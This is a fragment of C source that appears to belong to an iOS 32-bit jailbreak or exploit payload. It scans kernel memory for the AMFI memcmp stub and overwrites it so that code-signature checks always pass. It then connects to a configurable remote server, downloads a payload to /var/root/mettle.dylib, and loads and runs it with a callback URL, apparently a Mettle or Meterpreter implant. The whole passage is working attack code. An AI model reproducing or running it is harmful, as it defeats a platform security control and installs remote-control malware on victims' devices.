debug_print("amfidriverstr found %p\n", (void*)(amfidriverstr));
|
|
uint32_t* amfi_macho = (uint32_t*)((uint32_t)amfidriverstr & 0xfffff000);
|
|
uint32_t amfi_macho_start = 0;
|
|
while (amfi_macho > (uint32_t*)kdata) {
|
|
if (*amfi_macho == MH_MAGIC) {
|
|
debug_print("amfimacho found %p\n", (void*)((uint32_t)amfi_macho - (uint32_t)kdata));
|
|
amfi_macho_start = ((uint32_t)amfi_macho - (uint32_t)kdata);
|
|
break;
|
|
}
|
|
amfi_macho = (void*)((uint32_t)amfi_macho - 0x1000);
|
|
}
|
|
|
|
uint32_t memcmp_what = kernel_start + find_memcmp() + 1;
|
|
debug_print("memcmp_what %p\n", (void*)(memcmp_what));
|
|
uint32_t amfi_memcmp_off;
|
|
for (amfi_memcmp_off = amfi_macho_start; amfi_memcmp_off < kernel_size; amfi_memcmp_off += 4) {
|
|
if (*(uint32_t*)((uint32_t)kdata + amfi_memcmp_off) == memcmp_what) {
|
|
break;
|
|
}
|
|
}
|
|
debug_print("amfi_memcmp_off %p\n", (void*)(amfi_memcmp_off));
|
|
|
|
uint32_t amfi_memcmp_stub_found;
|
|
for (uint32_t amfi_memcmp_stub = amfi_macho_start; amfi_memcmp_stub < kernel_size - 16; amfi_memcmp_stub += 2) {
|
|
if ((*(uint16_t*)((uint32_t)kdata + amfi_memcmp_stub + 8) == 0x44fc) && // add ip, pc
|
|
(*(uint32_t*)((uint32_t)kdata + amfi_memcmp_stub + 10) == 0xc000f8dc) && // ldr.w ip, [ip]
|
|
(*(uint16_t*)((uint32_t)kdata + amfi_memcmp_stub + 14) == 0x4760)) { // bx ip
|
|
|
|
uint32_t instruction1 = *(uint32_t*)((uint32_t)kdata + amfi_memcmp_stub);
|
|
uint32_t instruction2 = *(uint32_t*)((uint32_t)kdata + amfi_memcmp_stub+4);
|
|
uint32_t ip_offset = amfi_memcmp_off - (amfi_memcmp_stub + 12);
|
|
/*if (amfi_memcmp_stub == 0x776be8) {*/
|
|
/*debug_print("found stub %p %p %p %p\n", (void*)amfi_memcmp_stub, (void*)(ip_offset), (void*)instruction1, (void*)instruction2);*/
|
|
/*}*/
|
|
|
|
if (insn_is_32bit((uint16_t*)&instruction1) &&
|
|
insn_is_32bit((uint16_t*)&instruction2) &&
|
|
(bit_range(instruction1, 28, 24) == 0xc) && // r12
|
|
(bit_range(instruction2, 28, 24) == 0xc) && // r12
|
|
(decode_immed(instruction1) == (ip_offset & 0xffff)) &&
|
|
(decode_immed(instruction2) == (ip_offset >> 16)) &&
|
|
1) {
|
|
debug_print("good stub %p %p %p %p\n", (void*)amfi_memcmp_stub, (void*)(ip_offset), (void*)instruction1, (void*)instruction2);
|
|
amfi_memcmp_stub_found = amfi_memcmp_stub;
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
|
|
free_func(kdata);
|
|
|
|
if (amfi_memcmp_stub_found) {
|
|
uint32_t amfi_memcmp = amfi_memcmp_stub_found + kernel_start;
|
|
debug_print("amfi memcmp is %p\n", (void*)(amfi_memcmp));
|
|
|
|
/*[> fixes amfid[193] <Error>: /private/var/root/log.dylib not valid: 0xe800801c: No code signature found.<]*/
|
|
write_primitive(amfi_memcmp, 0x47702000); // mov r0, #0; bx lr
|
|
}
|
|
|
|
const char config_placeholder[1024] = "PAYLOAD_URL";
|
|
const char *payload_file = "/var/root/mettle.dylib";
|
|
|
|
// Load the payload from server
|
|
debug_print("%s\n", "Connecting...");
|
|
int sockfd = 0;
|
|
struct sockaddr_in serv_addr;
|
|
const char *getpayload = "GET /payload32 HTTP/1.1\r\n\r\n";
|
|
const int chunk_size = 4096;
|
|
char* payload_buffer = malloc_func(chunk_size);
|
|
if ((sockfd = socket_func(AF_INET, SOCK_STREAM, 0)) < 0) {
|
|
debug_print("%s\n", "Could not connect socket");
|
|
return;
|
|
}
|
|
|
|
serv_addr.sin_family = AF_INET;
|
|
serv_addr.sin_addr.s_addr = *(uint32_t*)config_placeholder;
|
|
serv_addr.sin_port = *(uint16_t*)(config_placeholder + 4);
|
|
debug_print("Connecting: %p p %hu\n", (void*)*(uint32_t*)&serv_addr.sin_addr, serv_addr.sin_port);
|
|
|
|
if (connect_func(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
|
|
debug_print("%s\n", "Could not connect");
|
|
return;
|
|
}
|
|
send_func(sockfd, getpayload, strlen_func(getpayload), 0);
|
|
|
|
unlink_func(payload_file);
|
|
int payloadfd = open_func(payload_file, O_WRONLY | O_CREAT, 0700);
|
|
int read_header = 0;
|
|
int n;
|
|
while ((n = read_func(sockfd, payload_buffer, chunk_size)) > 0) {
|
|
if (!read_header) {
|
|
char * payload_start = (char*)boyermoore_horspool_memmem((unsigned char*)payload_buffer, chunk_size, (unsigned char*)"\xce\xfa\xed\xfe", 4);
|
|
write_func(payloadfd, payload_start, n - (payload_start - payload_buffer));
|
|
read_header = 1;
|
|
} else {
|
|
write_func(payloadfd, payload_buffer, n);
|
|
}
|
|
}
|
|
|
|
close_func(payloadfd);
|
|
close_func(sockfd);
|
|
free_func(payload_buffer);
|
|
|
|
// Launch the payload
|
|
void* libmettle = dlopen_func(payload_file, RTLD_NOW);
|
|
debug_print("mettle found %p\n", (void*)(libmettle));
|
|
typedef int (*main_ptr)(int argc, const char *argv[]);
|
|
main_ptr main_func = dlsym_func(libmettle, "main");
|
|
const char * progname = "mettle";
|
|
const char * arg1 = "-u";
|
|
const char * arg2 = config_placeholder+6;
|
|
const char *argv[] = { progname, arg1, arg2, NULL };
|
|
debug_print("main %p\n", main_func);
|
|
int mainret = main_func(3, argv);
|
|
debug_print("main finished %d\n", mainret);
|
|
|
|
}
|
|
|
|
|